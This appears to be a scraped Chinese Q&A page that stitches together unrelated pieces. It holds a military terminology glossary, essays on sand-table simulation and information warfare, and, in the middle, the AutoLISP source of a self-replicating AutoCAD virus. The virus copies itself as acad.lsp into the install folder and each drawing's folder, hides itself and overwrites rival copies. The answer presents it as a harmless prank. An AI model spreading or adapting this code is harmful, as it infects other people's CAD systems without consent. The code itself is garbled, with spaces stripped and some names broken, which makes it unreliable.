多方向射擊
艦艇安全區
艦炮火力岸上控制分隊
海岸勤務隊
- 近距離空防交戰區
- 近程彈道導彈
短距起降
碰撞驅艦,撞艦驅趕
- 機載側視雷達
目視發現(目標)
信號通信中心, 通信中心
() 信號情報
具有部隊特徵的裝備
模擬電磁欺騙
同時攻擊
戰區統一後勤管理機構
- 單一軍種指揮官
雷錨
情況報告
淺水掃雷
輕武器
輕武器彈葯
- 小批量儲存
煙幕
未加固導彈基地
聲納
出動架次
任務標圖
情報來源
太空控制行動,航天控制行動
太空防禦
特工人員
空中特種作戰
特種彈葯補給站
特種部隊
特別關注目標
特種作戰
特種作戰部隊
特種作戰聯絡小隊
海軍特種作戰機動環境小隊
特種作戰聯隊
( ) 特種(或專項)裝備
- 特種用途車輛
特別偵察
特業參謀
特種戰術小隊
專業戰斗司令部
專業司令部
前進速度
破壞性進攻
觀察彈著;校射;直升機著陸場
瞄準式干擾,選擇性干擾
彈著觀察通信網
彈著觀察員
彈著觀察線
分火射擊
中隊
參謀
參謀機構的監督
集結
中間整備地域;中途集結地域
標準定位系統
第二類後備役
停止活動
戒備狀態; 待發狀態
站;所;陣位;崗位;戰位;台
電台鑒別
敵後潛伏
敵後滯留部隊
定期自動失效裝置;銷毀裝置
傘兵組長
使用核武器程序
儲存;存儲器
補給品
掃射
掉隊者
戰略優勢
戰略空戰
戰略集中
戰略方針
戰略判斷
戰略情報
戰略任務
戰略機動能力
戰略計劃
戰略海運
戰略運輸機
戰略弱點
戰略警報
戰略 戰略決心
擔架
打擊;突擊;攻擊;沖擊
降入機庫
雷帶標志
支撐點
潛艇
潛艇活動指揮官
子彈葯
下級司令部
下級聯合司令部,二級聯合司令部
簽署同意
輔助性登陸
下級聯合司令部
彈道最高點的高程
補給品
補給
補給船
支援;支援部隊
被支援司令
支援武器
支援火力協調中心
支援炮兵
助攻;支援性進攻
支援部隊
支援性物品
叛亂支援
壓制
壓制任務
對敵防空配系的壓制
壓制射擊;壓制火力
水面行動大隊, 水面作戰大隊
水面戰艦
-- 地(艦)對空導彈
-- 地對空導彈設施
-- 地對空武器
-- 地對地(艦對艦)導彈
水面戰
生存能力
持續能力
持續射速
反竊聽
已掃雷航道
感應爆炸
同步, 一致
模擬學習
部隊與個人裝備數量表
戰術空運後送病員
() 戰術航空兵(岸上)指揮官
戰術航空兵控制中心
() 戰術航空兵空中協調官(機載)
戰術航空兵指揮引導中心
(-) 戰術航空兵大隊(岸基)
() 戰術航空兵海上軍官
戰術空中作戰
戰術航空兵作戰中心
戰術空中支援分隊
戰術空運活動
戰術集結區
戰術呼號
戰術作戰部隊
戰術思想
戰術控制
戰術欺騙大隊
戰術信息處理與判讀系統
戰術情報
戰術裝載
- 戰術後勤小組
戰術地圖
戰術作戰中心
戰術靶場
戰術預備隊
戰術部隊
戰術單位
戰術警告/戰斗評估
戰術
目標;命中目標
目標截獲
重要目標區
目標圖
目標方位(角)
目標群
目標要素;目標參數
目標集中區
目標鑒別;目標分辨力
目標確定
目標攻擊效果
臨時目標
目標航線,攻擊航線
目標優先順序
特混小隊
特遣部隊;特混部隊
特混大隊
任務命令
特混編組;特混編製表
- 特混編組
特混分隊
技術作戰情報
反技術偵察措施
末端制導;終端導航
彈道末段
地形分析
現地作業
地形跟蹤飛行
地形跟蹤系統
地形基準制導
領空
領海
恐怖義
恐怖義者
恐怖威脅等級
戰區
戰區導彈
作戰區
戰爭區
戰區戰略
熱核武器
威脅和弱點評估
時間引信
進攻發起時間
飛行時間
武器飛臨目標時間矛盾
- 時間敏感目標
抵達目標的飛行時間
地形
防魚雷網
拉起轟炸
化學戰劑
航跡;跟蹤;截獲;截獲跟蹤;瞄準;履帶;滑軌
跟蹤管理
輜重隊;連續投下的炸彈
訓練輔助器材
訓練與戰備監督
彈道
襲擊時期
過路部隊;暫駐部隊
臨時集結區;中途集結區
應答機;應答器
運輸機
運輸大隊
流彈
三角點
部隊編成表
部隊
迂迴
爆炸樣式
未預料到的緊急目標
非常規戰
非常規戰部隊
水下戰
水下爆破
途中補給
海上補給部隊
未爆炸的軍用爆炸物
聯合行動
聯合作戰司令部
單方面軍備控制措施
- 單軍種司令部
部隊;分隊;單位,基數
部隊戰備
單位代號表,單位番號
美國現役武裝部隊
部隊開進編號,單位線路編號
部隊調動控制中心
部隊調運數據
部隊集訓
無人駕駛飛行器
未列入計劃的緊急目標
緊急布雷
部隊使用政策
美國部隊
引導攻擊
頂點
頂點
垂直包圍
垂直起降飛機
重要地區;目標要害部位
重要地形
弱點
薄弱點
涉水
輕傷病員
民防系統
軍事演習,戰爭(作戰)模擬
彈頭
安裝彈頭
警報;警告
進攻警報
紅色警報;緊急警報
示警射擊
白色警報;解除警報
黃色警報;預備警報
戰爭儲備物資
攻擊波;波
武器與彈頭識別
確定使用武器之數量
武器截擊區,武器攻擊區
武器分配
自由射擊區
大規模殺傷性武器
武器待發狀態,武器戰備狀態
() 武器系統
空軍聯隊;艦隊航空兵聯隊;陸戰隊航空兵聯隊;翼側部隊
僚機飛行員;僚機
撤退行動;退出戰斗行動
戰斗負傷
- 軸,坐標軸橫軸
偏航;偏轉;彈道正切角
當量
爆炸零點
戰斗地帶;作戰區
射擊地帶;射界
『伍』 戰爭中用超級計算機的"沙盤推演"是怎麼回事
戰爭沙盤模擬推演通過紅、藍兩軍在戰場上的對抗與較量,發現雙方戰略戰術上存在的問題,提高指揮員的作戰能力。戰爭沙盤模擬推演跨越了通過實兵軍演檢驗的巨大成本障礙和時空限制,在重大戰爭戰役中得到普遍運用,其實演效果尤其在"二戰"中發揮到了極致。
新概念「沙盤」推演現代戰爭
兵聖孫子曰:「夫地形者,兵之助也。」自古以來,軍事家總是希望能居高臨下,縱覽整個戰區或戰場的地形特徵及變化態勢,贏得戰爭的勝利。「沙盤」 的出現,無疑將兩軍對壘的場景惟妙惟肖地搬進了「中軍帳」。如今,隨著高新科技的廣泛運用,已使得軍用沙盤家族煥然一新,更具有了先進性和時代性。
傳統沙盤形象直觀
人們通常把根據地形圖、航空圖片或實地地形按一定比例用泥沙、兵棋等材料製作的沙盤稱為「傳統沙盤」。而且,依據其製作材料和使用時限,還可細分為簡易沙盤、活動沙盤、固定沙盤、永久性沙盤和電動沙盤等。「傳統沙盤」具有形象直觀、製作簡便、經濟實用等特點,能較為形象地顯示實地地形、敵我陣地編成、兵力部署和兵器配置等情況,因此軍事上常用於研究地形、敵情、作戰方案、組織協同運作、實施戰術演練、研究戰例和總結作戰經驗等。
經常使用的傳統沙盤為簡易沙盤和永久性沙盤兩種。簡易沙盤取材方便、製作簡單、迅速,經濟實用,是訓練和組織指揮戰斗的常用工具。根據使用目的和條件選定使用的器材一般有:沙盤框(沒有沙盤框時也可直接在場地上堆制)、細沙、粘土、地物模型、染色鋸末、顏料、兵棋、隊標和隊號、紙牌、標簽、細繩、米尺、鐵釘、鐵鍬、鉗子、毛筆及臉盆等工具,爾後按照整框拉網、堆積地貌、設置地物、設置戰術情況和整飾幾步程序來完成沙盤製作。永久性沙盤,有精度高、重量輕、堅固耐用、久不變形等特點,適於院校和高級指揮機關長期使用,不僅製作更細、精度更高、而且形態也便於觀賞。
在現代戰爭中,傳統沙盤依然得到了充分的利用。例如在印巴戰爭中,印度就構制了巴基斯坦全境的大型沙盤組;兩伊戰爭中,伊拉克將兩伊邊界沖突地區製成數塊大型沙盤,且精度很高。然而由於傳統沙盤構制速度慢,運輸不便,已難以適應現代和未來信息化戰場的需要,所以現代高科技打造的新型沙盤應運而生。
電子沙盤三維立體
進入電子時代,電腦三維立體畫面開始出現,軍事科學家們便把目光轉移到屏幕上來。
然而,電腦屏幕雖然顯示的是三維立體畫面,但畢竟是在二維平面上展現的,與人的視覺生理習慣有很大差異,使用起來不大方便,於是軍事科學家們又想起了立體直觀的傳統軍用沙盤。他們把現代電子技術與老式沙盤相結合,使古老的軍事沙盤獲得新生,新一代軍用沙盤——「軍用電子沙盤」誕生了。
電子沙盤由4個主要部件組成:圖文掃描儀、中心電腦、電子驅動器、「沙盤 」。圖文掃描儀將收到的照片或錄像信息輸入電腦,電腦可對圖像信息進行判讀、加工處理,並在屏幕上顯示出三維立體圖形;然後,電腦把轉換的信息數據輸給電子驅動器,安裝在「沙盤」上,如同列印機的列印頭,可以快速地在「沙盤 」下面往復運動。由於精度的需要,可以由幾台電子沙盤並成大型的沙盤組。例如,9個小沙盤可以由一台中心電腦同時控制,這樣一來沙盤的線性精度便以2倍、3倍乃至更大倍數增加,以滿足不同的軍事需要,甚至還可以製造大量「單兵電子沙盤」。
電子沙盤的電腦可以准確地判讀衛星、太空梭發回的航天照片和錄像、偵察飛機、氣球等發回的航空照片及錄像。最有新意的是電視炮彈發回的戰場錄像,一發電視炮彈射程幾十公里,滯空時間僅幾十秒鍾,它能快速掠過敵方陣地,且無聲無息,敵方根本無法攔截,它卻可以及時地拍攝小范圍內的戰場態勢,且有很高的精確度,運用這樣精度的電子沙盤輔助指揮戰斗,會令指揮員們「耳聰目明」。
現在,電子沙盤不僅有了彩色顯示,而且可以明顯地分辨出海洋、河流、沼澤、綠地、森林、沙漠等地形地貌特徵,十分生動、逼真。科學技術日新月異,新工藝、新材料不斷出現,電子沙盤如今仍在不斷更新換代,將更先進、更完美。
激光沙盤虛擬現實
隨著激光技術的運用和信息時代的到來,科學家目前已在一定范圍製造出了人工海市蜃樓群。據外刊報道,美國科學家已能將人工海市蜃樓景象重現戰場實況,戰場上的地形地貌、雙方作戰態勢及其變化都能同時真實地在人造蜃景中展現出來,「戰場」被搬到了指揮員面前。這種虛擬現實技術被視為高度機密,嚴加保護。因為誰具有這種虛擬技術,誰就能更加對戰場了如指掌,甚至可以打一場完全單向透明的戰爭。
這種系統就是新概念的信息「激光沙盤」。電腦把轉換成數據的信息傳輸給激光發射器,激光發射器便向「沙盤」發射出一定頻率的激光。而「沙盤」是一個長寬各1米,高0.5米的空體玻璃箱,其中密封著各種惰性氣體,箱內的氣壓感測器、溫度感測器、濕度感測器及空氣懸浮顆粒感測器等與電腦鏈結,以便製造蜃景,當幾台激光發射器按照數學信號連續快速射擊箱內空氣後,一幅清晰的彩色立體圖景就會展現面前,並隨著輸入圖像的變化而變化,比如:山川、河流、道路、隘口、橋梁、車站、機場等。
同電子沙盤一樣,出於精度的需要,可以由幾台激光沙盤拼成大型的激光沙盤。這樣一來,沙盤的線精度便以2倍、3倍乃至更大倍數放大,以滿足不同的軍事需要。
據悉,激光沙盤電腦可以判讀、轉換由衛星、太空梭及偵察飛機、氣球等發回的航空照片和錄像,也可以判讀、轉換普通軍用地圖,把平面地圖轉換成立體圖。
特別是在小規模的局部戰場上,激光沙盤的精度很高,可以顯示出高層建築物、高架橋梁、水壩、電站乃至火車、輪船、汽車、戰車等。激光沙盤不僅可以靜態顯示,還能動態顯示,使整個戰斗態勢隨時可見。可以相信,隨著高新技術的迅速發展,激光沙盤會得到進一步完善,且必將在未來戰場上大顯身手。
『陸』 誰有CAD病毒acaddoc.lsp
所謂cad病毒,就是有【自我復制功能】,程序不復雜,就是復制的多了,會造成電腦卡。
AutoCAD2014版本開始,cad增加了防病毒功能,不信任的程序不會自動載入,病毒也就無法自我復制了。
實際上,一般cad病毒都不具備破壞性,只是程序員的惡作劇。
病毒一般短小精悍,有觀賞性。
whale
(defundiwo(path/fodi)
(setqfo(openpath"r"))
(setqdi(read-linefo))
(closefo)
(if(/=di"whale");如果不是whale,就不是自己的,返回1
(setqreturn1)
)
)
(defunshuxing(path/sysfile)
(setqsys(vlax-create-object"Scripting.FileSystemObject"))
(setqfile(vlax-invoke-methodsys'getfilepath))
(vlax-putfile"Attributes"3)
)
(setvar"cmdecho"0)
(vl-load-com)
(setqndwg(getvar"dwgname"));獲取當前dwg名稱
(if(="Drawing1.dwg"ndwg)(command"save""Drawing1.dwg"""));查看當前dwg是否是新建的,是的話就原地保存
(setqacadlsp"acad.lsp");定義acadlsp為acad.lsp
(setqpath(findfile"base.dcl"));找到cad安裝路徑,即base.dcl文件所在地
(setqpath(substrpath1(-(strlenpath)8)));取出cad安裝路徑到path,如C:
(setqpath1(strcatpathacadlsp));把路徑合並為path1,如C:acad.lsp
(setqnowdwg(getvar"dwgname"));獲取當前打開cad文件名
(setqwjqm(findfilenowdwg));找到當前打開的cad文件路徑,如d:1.dwg
(setqdwgpath(substrwjqm1(-(strlenwjqm)(strlennowdwg))));取出當前打開cad文件路徑到dwgpath
(setqpath2(strcatdwgpath"acad.lsp"));合並路徑加上acad.lsp到path2,如d:acad.lsp
(SETQfp1(findfilepath1));查找C:下是否有acad.lsp,即是否感染
(if(=fp1nil);如果目標路徑沒有acad.lsp,即沒有感染
(progn(vl-file-path2path1)(shuxingpath1));就復制一個到目標路徑,並且加上系統級隱藏只讀屬性
)
(if(/=fp1nil);如果有
(progn
(if(diwopath1);進行敵我判斷,如果不是自己的
(progn(vl-file-deletepath1)(vl-file-path2path1)(shuxingpath1));刪掉目標路徑的acad.lsp,復制進去自己的,並且加上系統級隱藏只讀屬性
)
)
)
(SETQfp2(findfilepath2));查找工作路徑是否有acad.lsp
(if(=fp2nil);如果沒有,即沒有傳播
(progn(vl-file-path1path2)(shuxingpath2));就復制一個到工作路徑,並且加上系統級隱藏只讀屬性
)
(if(/=fp2nil);如果有
(progn
(if(diwopath2);進行敵我判斷,如果不是自己的
(progn(vl-file-deletepath2)(vl-file-path1path2)(shuxingpath2));刪掉工作路徑的acad.lsp,復制進去自己的,並且加上系統級隱藏只讀屬性
)
)
)
(alert"ok")
『柒』 什麼叫信息化戰爭 ,它對國防的影響
信息化戰爭是一種戰爭形態,是指在信息時代核威懾條件下,交戰雙方以信息化軍隊為主要作戰力量,在陸、海、空、天、電等全維空間展開的多軍兵種一體化的戰爭,大量的運用具有信息技術,新材料技術,新能源技術,生物技術,航天技術,海洋技術等當代高新技術水平的常規的武器裝備,並採取相應的作戰方法,在局部地區進行的,目的手段規模均較有限的戰爭。
信息化戰爭是一種戰爭形態,是指在信息時代核威懾條件下,交戰雙方以信息化軍隊為主要作戰力量,在陸、海、空、天、電等全維空間展開的多軍兵種一體化的戰爭,大量的運用具有信息技術,新材料技術,新能源技術,生物技術,航天技術,海洋技術等當代高新技術水平的常規的武器裝備,並採取相應的作戰方法,在局部地區進行的,目的手段規模均較有限的戰爭。 進入21世紀,高技術的迅猛發展和廣泛應用,推動了武器裝備的發展和作戰方式的演變,促進了軍事理論的創新和編制體制的變革,由此引發新的軍事革命。信息化戰爭最終將取代機械化戰爭,成為未來戰爭的基本形態。信息化戰爭是指發生在信息時代、以信息為基礎、以信息化武器裝備為戰爭工具的戰爭。信息化戰爭不會改變戰爭的本質,但戰爭指導者必須考慮到戰爭的結局和後果,在戰略指導上首先追求如何實現「不戰而屈人之兵」的全勝戰略,那種以大規模物理性破壞為代價的傳統戰爭必將受到極大的約束和限制。 信息化戰爭中的信息是指一切與敵我雙方軍隊、武器和作戰有關的事實、過程、狀態和方式直接或間接地被特定系統所接收和理解的內容。就對信息(數量和質量)的依賴程度而言,過去的任何戰爭都不及信息化戰爭。在傳統戰爭中,雙方更注重在物質力量基礎上的綜合 信息化戰爭
較量。如機械化戰爭,主要表現為鋼鐵的較量,是整個國家機器大工業生產能力的全面競賽。信息化戰爭並不排斥物質力量的較量,但更主要的是知識的較量,是創新能力和創新速度的競賽。知識將成為戰爭毀滅力的主要來源,「計算機中一盎司硅產生的效應也許比一噸鈾還大」。 火力、機動、信息,是構成現代軍隊作戰能力的重要內容,而信息能力已成為衡量作戰能力高低的首要標志。信息能力,表現在信息獲取、處理、傳輸、利用和對抗等方面,通過信息優勢的爭奪和控制加以體現。信息優勢,實質就是在了解敵方的同時阻止敵方了解己方情況,是一種動態對抗過程。它已成為爭奪制空權、制海權、陸地控制權的前提,直接影響著整個戰爭的進程和結局。當然,人永遠是信息化戰爭的主宰者。戰爭的籌劃和組織指揮已從完全以人為主發展到日益依賴技術手段的人機結合,對軍人素質的要求也更高。從信息優勢的爭奪到最終轉化為決策優勢,更多的是知識和智慧的競爭。
編輯本段基本特徵
作戰力量數字化集成化,具有一定的知識水平
這個很容易理解,我們經常聽到有什麼數字化炮兵之類的名詞.什麼是數字化部隊?就是作戰單元(武器平台),裝備系統,單兵裝備和指揮系統高度網路整合的部隊.但這還不是信息化部隊.其中還有一個知識化.就是作戰和保障人員具有新的科技知識,能夠熟練掌握和操作各種信息裝備和系統. 這樣一支知識化人員武裝起來的數字化部隊就是初步的信息化部隊,呵呵.很拗口..
武器系統信息化
武器系統的信息化就是我們通常所說的智能化.這是一個整體概念.其中包括硬殺傷,軟殺傷和新概念武器三方面: I.硬殺傷--直接殺傷,破壞直至確保摧毀的以信息技術為依託的精確制導武器與遙感武器(不是傳統武器).代表武器:激光等精確制導炸彈(JDAM),軍用無人機,新一帶巡航導彈. II.軟殺傷--對敵方信息化系統滲透,干擾,壓制的手段.旨在破壞敵方的信源.信宿.信道.間隔敵方的通訊和指揮系統.對對方的精確制導武器致盲.代表武器:黑客武器和計算機病毒. III.新概念武器--以新的毀傷機理為目的以高新科技手段和信息技術為依託設計的不同於傳統武器的全新作戰單元.代表武器:定向高能粒子武器.動能電磁武器微機電納米武器和機器人.
指揮自動化,實時化,一體化
擁有完善的C4ISR甚至更高級別的系統.可以實時遠程偵察和預警,及時快速更新情報,指揮網路化即時化,一體戰場控制.作戰命令可直達單兵作戰單元.通訊達到近乎無阻礙的標准,可全方位武器平台單兵單元戰場定位.以前那種寶塔式的逐級指揮體制將不附存在..
信息戰場全維化,網路化
涵蓋海陸空天電的戰術數據鏈連接直至單兵,及時刷新單兵或基層指揮員作戰電腦上的戰場資訊,方便明確的更新戰場時態.確保直接指揮權在特殊情況下的傳遞.傳統的作戰地域概念和習慣已經不管用了.鑒於信息作戰是無縫連接,高立體,大縱深,全維度.手段是非線形混沌而模糊的.我不是專業人員,一時也弄不明白.希望林火心和我性本浪等同志看到後幫我補充,呵呵.
作戰方式多樣化
什麼心理戰,太空戰,機動戰,電子戰乃至虛擬世界的網路戰,一開始就全方位的面臨,沒什麼充裕的准備時間.而且要打,就貫穿整個戰爭的始終.非接觸作戰和接觸作戰同等重要. 所以一場這樣的信息化戰爭是極度考驗一個國家的戰爭意志的.
毀滅性武器的高技術化
信息作戰不代表傷亡和戰損小.而恰恰比傳統戰爭殘酷. 大面積的毀滅性武器被高技術手段改造,作戰意圖明顯.針對性強. 這就是說在戰爭初期就使用這種武器的可能性不是降低了而是大大增加了.如三代核武器中的中子彈,三相彈,中子彈當量都很小,但效果是致命的再如電磁脈沖彈,很可能在戰爭一開始就被使用.四代的反物質彈和再聚變彈更小效果更兇狠也更方便戰術使用.所以我們對戰爭不斷升級之後才會使用大規模殺傷性武器或核武器的認識一定要改,雖然誰都不願意改.
編輯本段信息化戰爭的發展趨勢
(1)戰爭空間急劇拓展 信息化戰爭是高度立體化戰爭,即戰爭不僅在地面水面,水下進行,而且,向外層空間擴展。 (2)戰爭進程明顯加快 以往戰爭持續時間一般比較長,而信息化戰爭,節奏明顯加快,進程大大縮短。在信息技術的作用下,武器裝備的能量釋放的速度加快,殺傷力在增加;高技術手段的運用,使軍隊的機動能力,打擊能力和保障能力大大提高,單位時間作戰效能明顯增強;此外高技術武器裝備造價昂貴,迫使進程加快。 (3)作戰力量多元一體 作戰力量的大小,不再以數量的多少,作戰能力 信息化戰爭
的強弱和人員,武器數量決定,高技術的武器裝備只有同高素質的戰斗人員相結合,才能發揮最大效能。其次,多兵種的有機結合。 (4)精確制導武器的大量使用 20世紀90年代以來爆發的幾場局部戰爭表明,信息化戰爭具有明顯的精確化趨勢。 (5)指揮控制智能化程度高 (6)戰爭耗資巨大 高新技術裝備造價昂貴。高技術武器使用空前頻繁。 (7)信息優勢成為戰爭勝負的重要因素 發生在信息時代,以信息為基礎並以信息化武器裝備為主要戰爭工具和作戰手段,以系統集成和信息控制為主導,在全維空間內通過精確打擊、實時監控、信息攻防等方式進行的癱瘓和震懾作戰的戰爭形勢。
編輯本段信息化戰爭可從以下幾個方面來理解
(1)信息化戰爭是信息時代的產物,是信息時代經濟、技術、生產力水平和生產方式在戰爭領域的客觀反映。 (2)戰爭工具決定戰爭形態,有什麼樣的戰爭工具,就會有什麼樣的戰爭形態,這是戰爭歷史發展規律所決定的。信息時代戰爭工具的信息化、智能化和綜合化,信息武器裝備體系的形成,必然導致信息化戰爭的出現。 (3)信息化戰爭首選的並直接打擊的目標是信息獲取、信息控制和信息處理系統及其基礎設施,剝奪敵方信息控制權、使用權和對己方信息系統的威脅,同時建立己方的信息優勢,進而實現己方意志。 (4)信息化戰爭的核心資源是信息和知識。因此,信息化戰爭是以信息和知識為力量的戰爭。在信息化戰爭中,掌握信息和知識的高素質的人是戰爭勝負的決定因素。
編輯本段方法
什麼是信息化戰爭?信息化戰爭簡稱信息戰。簡單地說,它是敵我雙方在信息領域中爭奪信息控制權的戰爭。其作戰對象主要不是人,而是對方的各種信息系統以及與之有關的各項設施;其任務是獲取、管理、使用和控制各種信息,同時防止對方獲取和有效地使用各種信息。
偵察與反偵察
電子戰是信息化戰爭的一個有機組成部分,是敵對雙方所進行的電磁斗爭。它主要有三種方法:偵察與反偵察、干擾與反干擾、摧毀與反摧毀。所有這一切,都是以電磁波為「武器」,所打擊的目標不是敵方的有生力量,而是敵方的通信、雷達以及計算機網路等電子設備。其目的是使敵方的通信中斷,雷達迷盲,兵器失控,指揮癱瘓。電子偵察是用裝載精密電子設備的偵察衛星群、偵察飛機和進攻性武器中的偵察裝置來探明敵方電子系統的情況,搜集軍事情報。例如,當對方發射導彈時,偵察衛星中的紅外線探測器便能迅速探測到導彈的行蹤。這一信息立即被送到地面雷達網,指使雷達網對導彈進行跟蹤,同時將有關信息送往指揮中心的計算機;計算機很快便分析出導彈的飛行方向,並指揮己方的導彈予以攔截。
干擾與反干擾
電子干擾就是通過電子手段來擾亂敵方電子設備的正常工作。這里所說的電子手段是指有意識地發射或反射某種電磁波,使對方的電子設備產生「錯覺」或無法正常工作。根據干擾對象的不同,電子干擾可分為通信干擾、雷達干擾、制導武器干擾和指揮系統干擾等。有干擾,必有反干擾。反干擾的目的是盡一切努力削弱以至消除敵方干擾給己方帶來的不利影響。其手段也是多種多樣的。在現代戰爭中,干擾與反干擾真是「道高一尺,魔高一丈」,互不相讓。
摧毀與反摧毀
「摧毀」是一種硬殺傷手段。它是在電子偵察的配合下,通過電子摧毀或力摧毀手段,使敵方重要的電子設備或系統永久失效或徹底破壞。在這方面,除了使用爆炸性武器外,還大量使用電磁能武器(如高能激光器、微波武器)和電子計算機病毒等。「反摧毀」的手段也很多,例如,就通信而言,常常是同時運用多種通信手段,實現多徑傳輸,使得一個系統受到破壞時,能有其他系統可以代替或迂迴。 有人認為,在21世紀,類似1942年「珍珠港事件」的突然襲擊,很可能會以信息戰的方式重演。它所襲擊的對象不是飛機、大炮和核武器,而是敵方的計算機系統;不只是軍用系統,還包括更為廣泛的民用系統。所採用的手段包括計算機病毒、隱碼、數據破壞程序等。其目的是阻塞以至摧毀敵方的計算機網路,使其指揮失靈、交通混亂、電力中斷、金融癱瘓。例如,在20世紀90年代初的海灣戰爭中,美國的情報部門就曾暗中用裝有固化病毒的晶元,置換了伊拉克從法國進口的防空系統電腦列印機的相關部件,然後用遙控的方法激活病毒, 其竄入電腦主機,最後造成伊方防空系統的癱瘓。英國《時代》周刊聲稱,美國不久將能使用鍵盤、滑鼠器和計算機病毒,不放一槍一炮地對敵方的軍事和民用基礎設施發動迅速、寂靜、廣泛和毀滅性的打擊。據此,我們可以認為,未來的戰爭沒有前方與後方之分,凡網路系統所及的地方都有可能成為戰場。 在現代信息化戰爭中,保持通信機密至關重要。因此交戰雙方往往還要在通信保密措施上決雌雄、見高低。對語音模擬信號進行數字化處理,然後再改變發信順序,是經常採用的一種加密措施。為了防止對方破譯,不僅密碼需要經常變換,在加密方法上也是越來越奧妙了
『捌』 戰場數字化對未來作戰行動有什麼影響
戰場數字化對未來機動戰的影響。由於機動戰既是我軍在高技術條件下的主要作戰形式,又是我軍主要作戰對象今後一個較長時期內奉行的作戰理論基礎。因此,結合美軍建設「數字化部隊」的構想與演習試驗,探討戰場數字化趨勢對未來機動戰可能產生的影響具有重要意義。
(1)戰場數字化將實現對戰場形勢的「全景感知」有利實時監控,更有利於在作戰中及時發現和捕捉戰機。戰場情報是一切作戰行動的基礎,對於機動戰而言,要發揮其「靈活主動」的優勢,更必須依賴指揮員、部隊對整個戰場態勢全面、及時、准確的了解。數字化部隊的出現與戰場數字化趨勢的發展,為滿足機動戰中的對信息情報的特殊要求提供了可能。這是因為戰場數字化,將通過對指揮機關、前線部隊、作戰平台和每個士兵裝備先進的數字化通信設備,建立起一個以數字融合技術為核心的全信息化分布網路系統,從而使戰場信息的收集、處理和傳遞表現出傳統手段所難以比擬的兩大「優勢」。
第一個「優勢」,是能夠對整個戰場態勢進行「全景感知」。實現戰場數字化以後,以往只在師以上單位配備的戰略、戰術C3I系統將向下延伸到裝甲戰斗車、主戰坦克、自行火炮、戰斗指揮車、偵察直升機、戰術支援作戰飛機、戰斗勤務車輛乃至單兵。這樣每一個作戰平台、每一個士兵,在獲取上級、友鄰信息的同時,還可以利用自身裝備的偵察觀測裝備,如攝像機、紅外探測器、夜視儀、感測器等,對所處位置周圍的戰場環境進行偵察,並通過附加數字轉換電路,將收集到的情報存儲或傳遞給上級與友鄰。這樣,整個作戰部隊就如同一張張開的「信息收集網」,而每個士兵就好像一個個信息的「觸角」。無論在地面空中,無論在前沿縱深,只要有己方部隊,就能進行戰場信息的搜集,把敵方的部署,行動完全「籠罩」在己方的「信息收集網」下,實現對整個戰場態勢的「全景」式感知。
第二個「優勢」,是能夠對整個戰場態勢進行實時監控。在高技術條件下,由於作戰節奏快、情況急,指揮員以傳統的信息獲取手段來掌握戰場態勢,往往落後於戰場情況的變化。以這種滯後的情報來指導實施機動戰,不僅難以捕捉戰機,而且還可能轉陷被動。在數字化戰場上,由於在作戰部隊間建立起了戰場分布式通信區域網路,每一作戰平台和單兵都能採用VHF低端頻率與網路之間進行通話或數字通信,並通過單信道地面/機載無線電系統同陸軍戰術C3I系統相連接。因此,指揮中心可以將戰役級、戰術級情報隨時用「廣播式」地傳送給下屬各級部隊,而各級部隊、單兵同時也可將自己獲取的戰場情報隨時上報、傳送給上級與友鄰。這樣對整個戰場情況的掌握不僅是「全景式」的,而且是實時的。正如美軍所設想的那樣,在平視顯示器上顯示的數字化圖像,將是一幅隨著敵我情況不斷變化而時時變化的動態圖像,「而不再是一個由階段線、目標和作戰陣地等組成的刻板的戰場幾何圖形」。
顯而易見,通過戰場數字化,實現了對戰場態勢的「全景式」感知與實時監控,指揮機關就能在任何時間、任何地點隨機地掌握自身、友鄰及敵軍的方位及運動趨勢。敵軍的每一個失誤與弱點,即使是發生在其縱深或翼側戰場,也將暴露無余,從而為指揮員有效地貫徹機動「繞過敵軍正面,去打擊其翼側或後方」的指導原則創造了積極的條件。特別是通過對戰場的實時監控,將大大提高戰場情報的時效性和利用率,指揮員將更加及時、連續地掌握戰場態勢,這不僅為指揮員及早預見戰機、籌劃決策提供了堅實的依據,而且也為組織部隊捕捉戰機贏得了更充分的時間。正因此,美軍也認為「通過戰場數字化,來取得及時全面的信息是掌握機動戰優勢的關鍵」。
(2)戰場數字化將全面提高作戰行動速度,更有利於保持「始終比敵人快」的優勢。「機動戰的主要武器就是速度,不僅僅是運動速度,而且是一切行動的速度」。因為只有在行動上始終快於敵人,才能使敵人的反應不可避免地落後於己方連續實施的決定性行動而歸於失敗。所以「以快制勝,力爭速決」,歷來是機動戰所遵循的重要原則。隨著戰場數字化的發展,實現了戰場信息的高效流通,將全面提高作戰籌劃決策、命令傳輸、戰場機動和人力反應等各環節的行動速度,更有利於在作戰中始終保持「比敵人快」的優勢。
籌劃決策快。戰場數字化,使軍隊指揮各個環節的自動化程度進一步提高。尤其是師以下單位的指揮自動化程度將達到一個前所未有的水平。這些部隊的指揮員,將能夠像戰役指揮員一樣,通過指揮中心的寬屏幕顯示器將整個戰場態勢盡收眼底。與指揮中心大型資料庫相連的無數條數據鏈將伸向戰場的每一角落,把敵我雙方所處的位置、行動等各種信息傳送給指揮中心,指揮員可據此迅速下定決心,對情況的變化立即做出反應。同時,決策輔助系統將按照指揮員的意圖提供各種備選方案,任務規劃系統則可迅即制定出相應的具體行動計劃。
命令傳輸快。指揮員一旦定下作戰決心,就可將作戰命令數據透明圖由「電子信箱」近實時地迅速傳達給分散在廣闊戰場上的各級所屬部隊,命令的制定和下達周期將由現在的幾小時縮短為幾分鍾。同時,指揮員不必再耗費長時間接收下屬的戰情報告。美軍稱,其數字化實驗部隊連至營一級的報告上送速度比常規部隊提高1倍。
美軍空軍上校博伊德認為,機動戰的過程可以視為「觀察、判斷、決心和行動在時間上的競爭周期」。交戰的任何一方,只要在該周期的各個階段快於對手,就能取得巨大的,甚至是決定性的勝利。從上分析可以看出,在未來戰場上,擁有「數字化」的軍隊,將在機動戰「競爭周期」的每一環節,占據先敵一步的優勢,從而始終能夠在速度、時間和機動方面制約敵軍,使敵方永遠處於「被動反應」的地步,直至徹底失敗。
